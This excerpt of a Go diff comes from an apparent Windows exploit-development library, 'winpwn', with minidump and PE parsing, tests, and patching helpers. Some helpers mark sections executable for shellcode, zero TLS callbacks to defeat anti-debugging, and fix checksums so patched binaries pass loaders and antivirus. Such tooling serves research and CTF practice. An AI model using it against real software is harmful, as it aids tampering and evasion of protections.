for i, u := range nameUTF16 {
|
||||
binary.LittleEndian.PutUint16(nameBytes[i*2:], u)
|
||||
}
|
||||
// MINIDUMP_STRING: Length (byte count, no terminator) + UTF-16 buffer + NUL.
|
||||
moduleNameStream := make([]byte, 4+len(nameBytes)+2)
|
||||
binary.LittleEndian.PutUint32(moduleNameStream[0:4], uint32(len(nameBytes)))
|
||||
copy(moduleNameStream[4:], nameBytes)
|
||||
|
||||
moduleNameOff := uint32(headerSize + directorySize)
|
||||
moduleListOff := moduleNameOff + uint32(len(moduleNameStream))
|
||||
|
||||
// MINIDUMP_MODULE_LIST: NumberOfModules(4) + one MINIDUMP_MODULE(108).
|
||||
moduleList := make([]byte, 4+sizeofMinidumpModule)
|
||||
binary.LittleEndian.PutUint32(moduleList[0:4], 1)
|
||||
mod := moduleList[4:]
|
||||
binary.LittleEndian.PutUint64(mod[0:8], 0x00007FFE12340000) // BaseOfImage
|
||||
binary.LittleEndian.PutUint32(mod[8:12], 0x00200000) // SizeOfImage
|
||||
binary.LittleEndian.PutUint32(mod[16:20], 0x5F000000) // TimeDateStamp
|
||||
binary.LittleEndian.PutUint32(mod[20:24], moduleNameOff) // ModuleNameRva
|
||||
|
||||
exceptionOff := moduleListOff + uint32(len(moduleList))
|
||||
exception := make([]byte, sizeofMinidumpExceptionStream)
|
||||
binary.LittleEndian.PutUint32(exception[0:4], 1337) // ThreadId
|
||||
exc := exception[8:]
|
||||
binary.LittleEndian.PutUint32(exc[0:4], 0xC0000005) // ExceptionCode (access violation)
|
||||
binary.LittleEndian.PutUint64(exc[16:24], 0x00007FFE12341234) // ExceptionAddress
|
||||
binary.LittleEndian.PutUint32(exc[24:28], 2) // NumberParameters
|
||||
binary.LittleEndian.PutUint64(exc[32:40], 1) // Parameters[0]: write access
|
||||
binary.LittleEndian.PutUint64(exc[40:48], 0xDEADBEEF) // Parameters[1]: faulting address
|
||||
|
||||
total := int(exceptionOff) + len(exception)
|
||||
out := make([]byte, total)
|
||||
|
||||
binary.LittleEndian.PutUint32(out[0:4], minidumpSignature)
|
||||
binary.LittleEndian.PutUint32(out[8:12], 2) // NumberOfStreams
|
||||
binary.LittleEndian.PutUint32(out[12:16], headerSize) // StreamDirectoryRva
|
||||
|
||||
dir := out[headerSize:]
|
||||
binary.LittleEndian.PutUint32(dir[0:4], uint32(StreamModuleList))
|
||||
binary.LittleEndian.PutUint32(dir[4:8], uint32(len(moduleList)))
|
||||
binary.LittleEndian.PutUint32(dir[8:12], moduleListOff)
|
||||
binary.LittleEndian.PutUint32(dir[12:16], uint32(StreamException))
|
||||
binary.LittleEndian.PutUint32(dir[16:20], uint32(len(exception)))
|
||||
binary.LittleEndian.PutUint32(dir[20:24], exceptionOff)
|
||||
|
||||
copy(out[moduleNameOff:], moduleNameStream)
|
||||
copy(out[moduleListOff:], moduleList)
|
||||
copy(out[exceptionOff:], exception)
|
||||
|
||||
return out
|
||||
}
|
||||
|
||||
func TestMinidumpModules(t *testing.T) {
|
||||
raw := buildSyntheticMinidump(t)
|
||||
m, err := newMinidump(bytes.NewReader(raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer m.Close()
|
||||
|
||||
mods, err := m.Modules()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(mods) != 1 {
|
||||
t.Fatalf("got %d modules, want 1", len(mods))
|
||||
}
|
||||
if mods[0].Name != "ntdll.dll" {
|
||||
t.Errorf("module name = %q, want %q", mods[0].Name, "ntdll.dll")
|
||||
}
|
||||
if mods[0].BaseOfImage != 0x00007FFE12340000 {
|
||||
t.Errorf("BaseOfImage = 0x%X, want 0x7FFE12340000", mods[0].BaseOfImage)
|
||||
}
|
||||
if mods[0].SizeOfImage != 0x00200000 {
|
||||
t.Errorf("SizeOfImage = 0x%X, want 0x200000", mods[0].SizeOfImage)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMinidumpException(t *testing.T) {
|
||||
raw := buildSyntheticMinidump(t)
|
||||
m, err := newMinidump(bytes.NewReader(raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer m.Close()
|
||||
|
||||
exc, err := m.Exception()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if exc.ThreadID != 1337 {
|
||||
t.Errorf("ThreadID = %d, want 1337", exc.ThreadID)
|
||||
}
|
||||
if exc.ExceptionCode != 0xC0000005 {
|
||||
t.Errorf("ExceptionCode = 0x%X, want 0xC0000005", exc.ExceptionCode)
|
||||
}
|
||||
if exc.ExceptionAddress != 0x00007FFE12341234 {
|
||||
t.Errorf("ExceptionAddress = 0x%X, want 0x7FFE12341234", exc.ExceptionAddress)
|
||||
}
|
||||
if len(exc.Parameters) != 2 || exc.Parameters[0] != 1 || exc.Parameters[1] != 0xDEADBEEF {
|
||||
t.Errorf("Parameters = %v, want [1 0xDEADBEEF]", exc.Parameters)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMinidumpRejectsBadSignature(t *testing.T) {
|
||||
raw := buildSyntheticMinidump(t)
|
||||
binary.LittleEndian.PutUint32(raw[0:4], 0xDEADBEEF)
|
||||
if _, err := newMinidump(bytes.NewReader(raw)); err == nil {
|
||||
t.Error("expected an error for a bad minidump signature")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMinidumpRawStream(t *testing.T) {
|
||||
raw := buildSyntheticMinidump(t)
|
||||
m, err := newMinidump(bytes.NewReader(raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer m.Close()
|
||||
|
||||
data, err := m.RawStream(StreamModuleList)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(data[0:4]); got != 1 {
|
||||
t.Errorf("RawStream(StreamModuleList) NumberOfModules = %d, want 1", got)
|
||||
}
|
||||
|
||||
if _, err := m.RawStream(StreamSystemInfo); err == nil {
|
||||
t.Error("expected an error for an absent stream type")
|
||||
}
|
||||
}
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
package winpwn
|
||||
|
||||
import "encoding/binary"
|
||||
|
||||
// P16 packs a uint16 into a little-endian byte slice.
|
||||
func P16(val uint16) []byte {
|
||||
b := make([]byte, 2)
|
||||
binary.LittleEndian.PutUint16(b, val)
|
||||
return b
|
||||
}
|
||||
|
||||
// P32 packs a uint32 into a little-endian byte slice.
|
||||
func P32(val uint32) []byte {
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, val)
|
||||
return b
|
||||
}
|
||||
|
||||
// P64 packs a uint64 into a little-endian byte slice.
|
||||
func P64(val uint64) []byte {
|
||||
b := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, val)
|
||||
return b
|
||||
}
|
||||
|
||||
// U16 unpacks a little-endian uint16 from the first 2 bytes of b.
|
||||
func U16(b []byte) uint16 {
|
||||
return binary.LittleEndian.Uint16(b)
|
||||
}
|
||||
|
||||
// U32 unpacks a little-endian uint32 from the first 4 bytes of b.
|
||||
func U32(b []byte) uint32 {
|
||||
return binary.LittleEndian.Uint32(b)
|
||||
}
|
||||
|
||||
// U64 unpacks a little-endian uint64 from the first 8 bytes of b.
|
||||
func U64(b []byte) uint64 {
|
||||
return binary.LittleEndian.Uint64(b)
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPackLittleEndian(t *testing.T) {
|
||||
if !bytes.Equal(P16(0x1234), []byte{0x34, 0x12}) {
|
||||
t.Error("P16(0x1234) is not little-endian")
|
||||
}
|
||||
if !bytes.Equal(P32(0xDEADBEEF), []byte{0xEF, 0xBE, 0xAD, 0xDE}) {
|
||||
t.Error("P32(0xDEADBEEF) is not little-endian")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPackUnpackRoundTrip(t *testing.T) {
|
||||
if U16(P16(0xBEEF)) != 0xBEEF {
|
||||
t.Error("U16(P16) round trip failed")
|
||||
}
|
||||
if U32(P32(0xDEADBEEF)) != 0xDEADBEEF {
|
||||
t.Error("U32(P32) round trip failed")
|
||||
}
|
||||
if U64(P64(0x0102030405060708)) != 0x0102030405060708 {
|
||||
t.Error("U64(P64) round trip failed")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,238 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"debug/pe"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"os"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// OpenPEForWrite opens a PE file read-write, for the patching methods below.
|
||||
// Plain OpenPE is read-only by design; writing is opt-in so a script can't
|
||||
// accidentally corrupt a target binary it only meant to inspect.
|
||||
func OpenPEForWrite(path string) (*PEFile, error) {
|
||||
fd, err := os.OpenFile(path, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f, err := pe.NewFile(fd)
|
||||
if err != nil {
|
||||
fd.Close()
|
||||
return nil, err
|
||||
}
|
||||
info, err := fd.Stat()
|
||||
if err != nil {
|
||||
fd.Close()
|
||||
return nil, err
|
||||
}
|
||||
return &PEFile{File: f, r: fd, w: fd, closer: fd, size: info.Size()}, nil
|
||||
}
|
||||
|
||||
// PatchBytes overwrites the file's contents at the given RVA with data, the
|
||||
// general-purpose "patch on the fly" primitive.
|
||||
func (p *PEFile) PatchBytes(rva uint32, data []byte) error {
|
||||
offset := p.RVAToFileOffset(rva)
|
||||
if offset == 0 {
|
||||
return errors.New("RVA does not map to any section")
|
||||
}
|
||||
return p.PatchBytesAtOffset(offset, data)
|
||||
}
|
||||
|
||||
// PatchBytesAtOffset overwrites the file's contents at a raw file offset.
|
||||
func (p *PEFile) PatchBytesAtOffset(offset int64, data []byte) error {
|
||||
return p.writeAt(offset, data)
|
||||
}
|
||||
|
||||
// peHeaderOffset reads e_lfanew (at the fixed DOS-header offset 0x3C) to
|
||||
// find where the "PE\0\0" header begins.
|
||||
func (p *PEFile) peHeaderOffset() (int64, error) {
|
||||
var lfanew uint32
|
||||
if err := p.readStructAt(0x3C, &lfanew); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return int64(lfanew), nil
|
||||
}
|
||||
|
||||
// coffHeaderOffset returns the file offset of the COFF File Header, right
|
||||
// after the 4-byte "PE\0\0" signature.
|
||||
func (p *PEFile) coffHeaderOffset() (int64, error) {
|
||||
peOffset, err := p.peHeaderOffset()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return peOffset + 4, nil
|
||||
}
|
||||
|
||||
// optionalHeaderOffset returns the file offset of the Optional Header,
|
||||
// right after the fixed 20-byte COFF File Header.
|
||||
func (p *PEFile) optionalHeaderOffset() (int64, error) {
|
||||
coffOffset, err := p.coffHeaderOffset()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return coffOffset + 20, nil
|
||||
}
|
||||
|
||||
// sectionHeaderTableOffset returns the file offset of the first
|
||||
// IMAGE_SECTION_HEADER entry, right after the Optional Header.
|
||||
func (p *PEFile) sectionHeaderTableOffset() (int64, error) {
|
||||
optOffset, err := p.optionalHeaderOffset()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return optOffset + int64(p.File.FileHeader.SizeOfOptionalHeader), nil
|
||||
}
|
||||
|
||||
// imageSectionHeaderSize and the byte offset of the Characteristics field
|
||||
// within it (IMAGE_SECTION_HEADER: Name[8] + 6 DWORDs + 2 WORDs + Characteristics DWORD).
|
||||
const (
|
||||
imageSectionHeaderSize = 40
|
||||
imageSectionHeaderCharacteristicsOff = 36
|
||||
)
|
||||
|
||||
// SetSectionCharacteristics overwrites a section's Characteristics flags
|
||||
// directly in the section header — e.g. to flip on IMAGE_SCN_MEM_EXECUTE for
|
||||
// a section you want to use as shellcode landing space. Requires a PEFile
|
||||
// opened with OpenPEForWrite.
|
||||
func (p *PEFile) SetSectionCharacteristics(name string, characteristics uint32) error {
|
||||
tableOffset, err := p.sectionHeaderTableOffset()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for i, sec := range p.File.Sections {
|
||||
if sec.Name != name {
|
||||
continue
|
||||
}
|
||||
headerOffset := tableOffset + int64(i)*imageSectionHeaderSize
|
||||
var buf [4]byte
|
||||
binary.LittleEndian.PutUint32(buf[:], characteristics)
|
||||
return p.PatchBytesAtOffset(headerOffset+imageSectionHeaderCharacteristicsOff, buf[:])
|
||||
}
|
||||
return errors.New("section not found: " + name)
|
||||
}
|
||||
|
||||
// MakeSectionExecutable ORs in IMAGE_SCN_MEM_EXECUTE on top of a section's
|
||||
// existing characteristics (e.g. "make .data executable" for a quick and
|
||||
// dirty shellcode-in-data-section trick).
|
||||
func (p *PEFile) MakeSectionExecutable(name string) error {
|
||||
return p.orSectionCharacteristics(name, imageSCNMemExecute)
|
||||
}
|
||||
|
||||
// MakeSectionWritable ORs in IMAGE_SCN_MEM_WRITE on top of a section's
|
||||
// existing characteristics.
|
||||
func (p *PEFile) MakeSectionWritable(name string) error {
|
||||
return p.orSectionCharacteristics(name, imageSCNMemWrite)
|
||||
}
|
||||
|
||||
func (p *PEFile) orSectionCharacteristics(name string, flag uint32) error {
|
||||
for _, sec := range p.File.Sections {
|
||||
if sec.Name == name {
|
||||
return p.SetSectionCharacteristics(name, sec.Characteristics|flag)
|
||||
}
|
||||
}
|
||||
return errors.New("section not found: " + name)
|
||||
}
|
||||
|
||||
// imageTLSDirectory mirrors winnt.h's IMAGE_TLS_DIRECTORY32/64: same field
|
||||
// order in both, only pointer-sized members change width. All fields here
|
||||
// are absolute VAs, not RVAs — the one PE directory that isn't RVA-based.
|
||||
type imageTLSDirectory64 struct {
|
||||
StartAddressOfRawData uint64
|
||||
EndAddressOfRawData uint64
|
||||
AddressOfIndex uint64
|
||||
AddressOfCallBacks uint64
|
||||
}
|
||||
|
||||
type imageTLSDirectory32 struct {
|
||||
StartAddressOfRawData uint32
|
||||
EndAddressOfRawData uint32
|
||||
AddressOfIndex uint32
|
||||
AddressOfCallBacks uint32
|
||||
}
|
||||
|
||||
// DisableTLSCallbacks zeroes the AddressOfCallBacks field of the TLS
|
||||
// Directory, so the loader never walks (and never invokes) the callback
|
||||
// array at all — the one-field patch that defeats TLS-callback-based
|
||||
// anti-debug/anti-instrumentation tricks that fire before your entry point
|
||||
// or your debugger's first breakpoint gets a chance to run.
|
||||
func (p *PEFile) DisableTLSCallbacks() error {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
const dirEntryTLS = 9
|
||||
dir := h.dataDirectory[dirEntryTLS]
|
||||
if dir.VirtualAddress == 0 {
|
||||
return errors.New("no TLS directory present")
|
||||
}
|
||||
offset := p.RVAToFileOffset(dir.VirtualAddress)
|
||||
if offset == 0 {
|
||||
return errors.New("failed to map TLS directory RVA to file offset")
|
||||
}
|
||||
|
||||
if h.is64 {
|
||||
zeros := make([]byte, 8)
|
||||
return p.PatchBytesAtOffset(offset+int64(unsafe.Offsetof(imageTLSDirectory64{}.AddressOfCallBacks)), zeros)
|
||||
}
|
||||
zeros := make([]byte, 4)
|
||||
return p.PatchBytesAtOffset(offset+int64(unsafe.Offsetof(imageTLSDirectory32{}.AddressOfCallBacks)), zeros)
|
||||
}
|
||||
|
||||
// RecalculateChecksum recomputes and writes the Optional Header's PE
|
||||
// checksum (the algorithm behind imagehlp's CheckSumMappedFile/MapFileAndCheckSum),
|
||||
// so a binary you've patched on disk still passes loaders/AV/signing tools
|
||||
// that validate it.
|
||||
func (p *PEFile) RecalculateChecksum() error {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
optOffset, err := p.optionalHeaderOffset()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
checksumOffset := optOffset
|
||||
if h.is64 {
|
||||
checksumOffset += int64(unsafe.Offsetof(pe.OptionalHeader64{}.CheckSum))
|
||||
} else {
|
||||
checksumOffset += int64(unsafe.Offsetof(pe.OptionalHeader32{}.CheckSum))
|
||||
}
|
||||
|
||||
data := make([]byte, p.size)
|
||||
if _, err := p.r.ReadAt(data, 0); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
checksum := peChecksum(data, checksumOffset)
|
||||
|
||||
var buf [4]byte
|
||||
binary.LittleEndian.PutUint32(buf[:], checksum)
|
||||
return p.PatchBytesAtOffset(checksumOffset, buf[:])
|
||||
}
|
||||
|
||||
// peChecksum implements the PE checksum algorithm: sum the file as 16-bit
|
||||
// little-endian words (treating the existing 4-byte checksum field as if it
|
||||
// contributed zero), fold carries back into the low 16 bits, then add the
|
||||
// file size.
|
||||
func peChecksum(data []byte, checksumFieldOffset int64) uint32 {
|
||||
var checksum uint32
|
||||
|
||||
n := len(data)
|
||||
for i := 0; i < n; i += 2 {
|
||||
if int64(i) == checksumFieldOffset || int64(i) == checksumFieldOffset+2 {
|
||||
continue // skip the checksum field's own two words
|
||||
}
|
||||
var word uint32
|
||||
if i+1 < n {
|
||||
word = uint32(data[i]) | uint32(data[i+1])<<8
|
||||
} else {
|
||||
word = uint32(data[i]) // trailing odd byte
|
||||
}
|
||||
checksum = (checksum & 0xFFFF) + word + (checksum >> 16)
|
||||
}
|
||||
checksum = (checksum & 0xFFFF) + (checksum >> 16)
|
||||
checksum += uint32(n)
|
||||
return checksum
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"debug/pe"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// PEFile is a read-only-by-default handle on a PE32/PE32+ image, the winpwn
|
||||
// analogue of pwntools' ELF. Unlike ELF, a PE's bytes can come from two
|
||||
// meaningfully different places: a file on disk (OpenPE) or a loaded
|
||||
// module's live address space inside a running process (OpenPEFromProcess).
|
||||
// Every accessor in this package (checksec, IAT/EAT, gadget scanning,
|
||||
// patching) is written against the r/w fields below so both backings get
|
||||
// every feature for free.
|
||||
type PEFile struct {
|
||||
File *pe.File
|
||||
|
||||
r io.ReaderAt
|
||||
w io.WriterAt // nil when opened read-only
|
||||
closer io.Closer // nil if there is nothing to close
|
||||
size int64 // total backing size, for whole-image operations (checksum recompute)
|
||||
|
||||
// live is true when r/w address a process's memory (OpenPEFromProcess)
|
||||
// rather than a file's bytes (OpenPE/OpenPEForWrite). See
|
||||
// RVAToFileOffset for why this changes the RVA translation.
|
||||
live bool
|
||||
}
|
||||
|
||||
func OpenPE(path string) (*PEFile, error) {
|
||||
fd, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f, err := pe.NewFile(fd)
|
||||
if err != nil {
|
||||
fd.Close()
|
||||
return nil, err
|
||||
}
|
||||
info, err := fd.Stat()
|
||||
if err != nil {
|
||||
fd.Close()
|
||||
return nil, err
|
||||
}
|
||||
return &PEFile{File: f, r: fd, closer: fd, size: info.Size()}, nil
|
||||
}
|
||||
|
||||
func (p *PEFile) Close() {
|
||||
if p.closer != nil {
|
||||
p.closer.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// IsLive reports whether this PEFile is backed by a running process's
|
||||
// address space (OpenPEFromProcess) rather than a file on disk.
|
||||
func (p *PEFile) IsLive() bool {
|
||||
return p.live
|
||||
}
|
||||
|
||||
// peHeader normalizes the PE32 (32-bit) vs PE32+ (64-bit) optional header
|
||||
// split into the fields callers actually need, so the rest of the package
|
||||
// doesn't have to type-switch on pe.OptionalHeader32/64 everywhere.
|
||||
type peHeader struct {
|
||||
is64 bool
|
||||
imageBase uint64
|
||||
addressOfEntryPoint uint32
|
||||
sizeOfImage uint32
|
||||
dllCharacteristics uint16
|
||||
dataDirectory [16]pe.DataDirectory
|
||||
}
|
||||
|
||||
func (p *PEFile) header() (peHeader, error) {
|
||||
switch oh := p.File.OptionalHeader.(type) {
|
||||
case *pe.OptionalHeader64:
|
||||
return peHeader{
|
||||
is64: true,
|
||||
imageBase: oh.ImageBase,
|
||||
addressOfEntryPoint: oh.AddressOfEntryPoint,
|
||||
sizeOfImage: oh.SizeOfImage,
|
||||
dllCharacteristics: oh.DllCharacteristics,
|
||||
dataDirectory: oh.DataDirectory,
|
||||
}, nil
|
||||
case *pe.OptionalHeader32:
|
||||
return peHeader{
|
||||
is64: false,
|
||||
imageBase: uint64(oh.ImageBase),
|
||||
addressOfEntryPoint: oh.AddressOfEntryPoint,
|
||||
sizeOfImage: oh.SizeOfImage,
|
||||
dllCharacteristics: oh.DllCharacteristics,
|
||||
dataDirectory: oh.DataDirectory,
|
||||
}, nil
|
||||
default:
|
||||
return peHeader{}, errors.New("unrecognized PE optional header (not PE32 or PE32+)")
|
||||
}
|
||||
}
|
||||
|
||||
// Is64Bit reports whether this is a PE32+ (x64) image.
|
||||
func (p *PEFile) Is64Bit() (bool, error) {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return h.is64, nil
|
||||
}
|
||||
|
||||
// ImageBase returns the preferred load address from the PE optional header
|
||||
// (the Go analogue of pwntools' ELF.address when ASLR is disabled). For a
|
||||
// live-process-backed PEFile this is still the header's *preferred* base,
|
||||
// not necessarily where the module actually landed -- use the base passed
|
||||
// to OpenPEFromProcess (e.g. from ResolveModuleBase) for the real address.
|
||||
func (p *PEFile) ImageBase() (uint64, error) {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return h.imageBase, nil
|
||||
}
|
||||
|
||||
// EntryPoint returns the absolute address of the entry point
|
||||
// (ImageBase + AddressOfEntryPoint).
|
||||
func (p *PEFile) EntryPoint() (uint64, error) {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return h.imageBase + uint64(h.addressOfEntryPoint), nil
|
||||
}
|
||||
|
||||
// RVAToFileOffset converts a relative virtual address into the offset to
|
||||
// pass to this PEFile's backing ReaderAt/WriterAt.
|
||||
//
|
||||
// For a disk-backed PEFile (OpenPE/OpenPEForWrite) this walks the section
|
||||
// table to translate an RVA into a PointerToRawData-relative file offset --
|
||||
// necessary because SectionAlignment and FileAlignment differ, so a
|
||||
// section's position in the loaded image and its position on disk aren't
|
||||
// the same number.
|
||||
//
|
||||
// For a live-process-backed PEFile (OpenPEFromProcess) the backing
|
||||
// ReaderAt/WriterAt already treats offset 0 as the module's base address,
|
||||
// so "offset" already *is* the RVA: that's the entire definition of a
|
||||
// relative virtual address once the image is actually loaded. This is the
|
||||
// identity function in that case.
|
||||
func (p *PEFile) RVAToFileOffset(rva uint32) int64 {
|
||||
if p.live {
|
||||
return int64(rva)
|
||||
}
|
||||
for _, sec := range p.File.Sections {
|
||||
if rva >= sec.VirtualAddress && rva < sec.VirtualAddress+sec.VirtualSize {
|
||||
return int64(rva - sec.VirtualAddress + sec.Offset)
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// readCString reads a null-terminated ASCII string starting at the given
|
||||
// read offset (file offset, or RVA for a live-backed PEFile -- see
|
||||
// RVAToFileOffset).
|
||||
func (p *PEFile) readCString(offset int64) (string, error) {
|
||||
var out []byte
|
||||
buf := make([]byte, 1)
|
||||
for {
|
||||
if _, err := p.r.ReadAt(buf, offset); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
if buf[0] == 0 {
|
||||
break
|
||||
}
|
||||
out = append(out, buf[0])
|
||||
offset++
|
||||
}
|
||||
return string(out), nil
|
||||
}
|
||||
|
||||
// readStructAt fills v (a pointer to a fixed-size struct of fixed-width
|
||||
// fields) by reading binary.Size(v) bytes at offset through this PEFile's
|
||||
// backing ReaderAt. The one read-offset helper every struct-shaped PE
|
||||
// directory parse in this package goes through, so disk and live-process
|
||||
// backings share the exact same parsing code.
|
||||
func (p *PEFile) readStructAt(offset int64, v any) error {
|
||||
size := binary.Size(v)
|
||||
if size < 0 {
|
||||
return errors.New("readStructAt: unsupported type")
|
||||
}
|
||||
buf := make([]byte, size)
|
||||
if _, err := p.r.ReadAt(buf, offset); err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Read(bytes.NewReader(buf), binary.LittleEndian, v)
|
||||
}
|
||||
|
||||
// writeAt writes data at offset through this PEFile's backing WriterAt,
|
||||
// failing clearly if the PEFile was opened read-only.
|
||||
func (p *PEFile) writeAt(offset int64, data []byte) error {
|
||||
if p.w == nil {
|
||||
return errors.New("PEFile is read-only; open with OpenPEForWrite or OpenPEFromProcess(write) for write access")
|
||||
}
|
||||
_, err := p.w.WriteAt(data, offset)
|
||||
return err
|
||||
}
|
||||
|
||||
// GetProcAddress looks up a function's RVA by name, the bare-bones analogue
|
||||
// of the real WinAPI call of the same name. It's a thin wrapper over the
|
||||
// canonical export-table walk in GetExport (exports.go); use GetExport
|
||||
// directly when you need forwarder resolution or ordinal information too.
|
||||
func (p *PEFile) GetProcAddress(funcName string) (uint64, error) {
|
||||
exp, err := p.GetExport(funcName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if exp.RVA == 0 {
|
||||
return 0, fmt.Errorf("export %q is a forwarder (%s.%s), not a local RVA -- resolve it in the target DLL instead",
|
||||
funcName, exp.ForwardTarget, funcName)
|
||||
}
|
||||
return uint64(exp.RVA), nil
|
||||
}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
package winpwn
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestOpenPEAndHeader(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
pf, err := OpenPE(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
is64, err := pf.Is64Bit()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !is64 {
|
||||
t.Error("expected bof_win.c.exe to be PE32+ (x64)")
|
||||
}
|
||||
|
||||
base, err := pf.ImageBase()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if base == 0 {
|
||||
t.Error("ImageBase should not be zero")
|
||||
}
|
||||
|
||||
entry, err := pf.EntryPoint()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if entry < base {
|
||||
t.Errorf("EntryPoint 0x%x should be >= ImageBase 0x%x", entry, base)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChecksecSEHNotApplicableOnX64(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
pf, err := OpenPE(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
r, err := pf.Checksec()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !r.Is64Bit {
|
||||
t.Fatal("expected fixture to be 64-bit")
|
||||
}
|
||||
if r.SEHApplicable {
|
||||
t.Error("SEHApplicable should be false for an x64 binary (table-based SEH, no classic SafeSEH attack class)")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSectionsHaveAnExecutableOne(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
pf, err := OpenPE(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
secs := pf.Sections()
|
||||
if len(secs) == 0 {
|
||||
t.Fatal("expected at least one section")
|
||||
}
|
||||
for _, s := range secs {
|
||||
if s.IsExecutable() {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Error("expected at least one executable section (.text)")
|
||||
}
|
||||
|
||||
func TestImportsContainKernel32(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
pf, err := OpenPE(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
imports, err := pf.ListImports()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, im := range imports {
|
||||
if im.DLL == "KERNEL32.dll" {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Error("expected an import from KERNEL32.dll")
|
||||
}
|
||||
|
||||
func TestRVAToFileOffsetMapsIntoASectionsByteRange(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
pf, err := OpenPE(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
secs := pf.Sections()
|
||||
if len(secs) == 0 {
|
||||
t.Fatal("expected at least one section")
|
||||
}
|
||||
sec := secs[0]
|
||||
offset := pf.RVAToFileOffset(sec.VirtualAddress)
|
||||
if offset != int64(sec.Offset) {
|
||||
t.Errorf("RVAToFileOffset(section start) = %d, want %d (sec.Offset)", offset, sec.Offset)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package winpwn
|
||||
|
||||
func ServePipe(name string) (*Tube, error) {
|
||||
return nil, errWindowsOnly
|
||||
}
|
||||
|
||||
func DialPipe(name string) (*Tube, error) {
|
||||
return nil, errWindowsOnly
|
||||
}
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"sync"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
pipeOutBufSize = 64 * 1024
|
||||
pipeInBufSize = 64 * 1024
|
||||
)
|
||||
|
||||
// pipeConn wraps a duplex named-pipe handle opened with
|
||||
// FILE_FLAG_OVERLAPPED as an io.ReadWriteCloser, the shape Tube needs for
|
||||
